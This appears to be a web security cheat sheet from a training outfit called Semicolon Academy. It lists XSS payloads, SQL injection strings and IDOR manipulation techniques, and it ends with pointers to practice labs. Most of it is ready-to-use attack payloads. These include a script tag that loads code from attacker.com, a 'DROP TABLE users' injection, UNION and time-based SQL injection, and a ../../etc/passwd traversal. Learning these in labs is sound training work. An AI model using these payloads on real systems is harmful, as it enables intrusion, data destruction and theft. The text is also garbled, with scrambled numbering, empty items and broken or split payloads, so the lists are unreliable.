

Web Security Vulnerabilities Cheat Sheet

Semicolon Academy - Comprehensive Security Reference

XSS, SQL Injection & IDOR - Essential Payloads and Techniques

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© Cross-Site Scripting (XSS) Payloads

Description: Inject malicious scripts to execute in victim browsers

```
1.
                                                        2.
 <script>alert('XSS')</script>
                                                         <img src=x onerror=alert('XSS')>
3.
                                                        4.
 <svg onload=alert('XSS')></svg>
                                                         <iframe src=javascript:alert('XSS')></iframe</pre>
5.
                                                        6.
 <body onload=alert('XSS')>
                                                         <input onfocus=alert('XSS') autofocus>
7.
                                                       8.
 <select onfocus=alert('XSS') autofocus>
                                                         <textarea onfocus=alert('XSS') autofocus>
9.
                                                        10.
 <details open ontoggle=alert('XSS')>
                                                         <marquee onstart=alert('XSS')>
                                                        12.
11.
 javascript:alert('XSS')
                                                         <script src=//attacker.com/xss.js></script>
```

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✓ SQL Injection Payloads

Description: Manipulate database queries to extract or modify data

1.

2.

3

admin'--

4

```
admin'/*
```

5.

6.

7.

8

9

10.

```
'; DROP TABLE users; --
```

11.

```
' UNION SELECT 1,2,3,4,5 --
```

12.

```
' UNION ALL SELECT null, null, null, null --
```

```
13.

1 ' ORDER BY 1,2,3,4,5 --

15.

1 ' HAVING 1=1 --

17.

18.

' AND (SELECT COUNT(*) FROM information_sche ma.tables) > 0 --

19.

1 ' AND SLEEP(5) --

1 ' AND SLEEP(5) --

1 ' AND 1=(SELECT COUNT(*) FROM tablename); --
```

2

IDOR (Insecure Direct Object Reference) Techniques

Description: Access unauthorized objects by manipulating references

- 1. Sequential ID enumeration: /user/1, /user/2, /user/3
- 2. File path manipulation: ../../etc/passwd
- Parameter pollution: userid=123&role=admin
- **4.** HTTP method manipulation: GET \rightarrow POST \rightarrow PUT \rightarrow DELETE
- 5. Session cookie manipulation: session_id=other_user_session
- 6. Hidden parameter discovery: &admin=true&debug=1
- 7. UUID/GUID enumeration when exposed in responses
- 8. Timestamp-based prediction: file_2024-06-28.pdf
- 9. Base64 encoded ID manipulation: decode → modify → encode
- 10. JSON parameter injection: {"userid": 123, "admin": true}
- 11. Array parameter manipulation: user[]=123&user[]=admin
- 12. Nested object reference: user.profile.admin=true
- 13. API version manipulation: /v1/user/123 vs /v2/user/123
- **14.** Content-Type manipulation: application/json → text/plain

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- 15. Referer header manipulation for authorization bypass
- 16. X-Forwarded-For IP address spoofing
- 17. User-Agent string manipulation for access control
- 18. Host header injection for multi-tenant bypass
- 19. Cache poisoning for indirect object access
- 20. Session fixation for accessing other user objects



Recommended Practice Resources

Practice Labs:

- PortSwigger Web Security Academy (Free hands-on labs)
- OWASP WebGoat (Comprehensive vulnerable application)
- Semicolon Academy Practice Environment
- DVWA (Damn Vulnerable Web Application)
- bWAPP (Buggy Web Application)
- Mutillidae (OWASP training platform)

Certifications:

- Semicolon Academy Certified Security Specialist
- Advanced Bug Bounty Certification by Semicolon Academy

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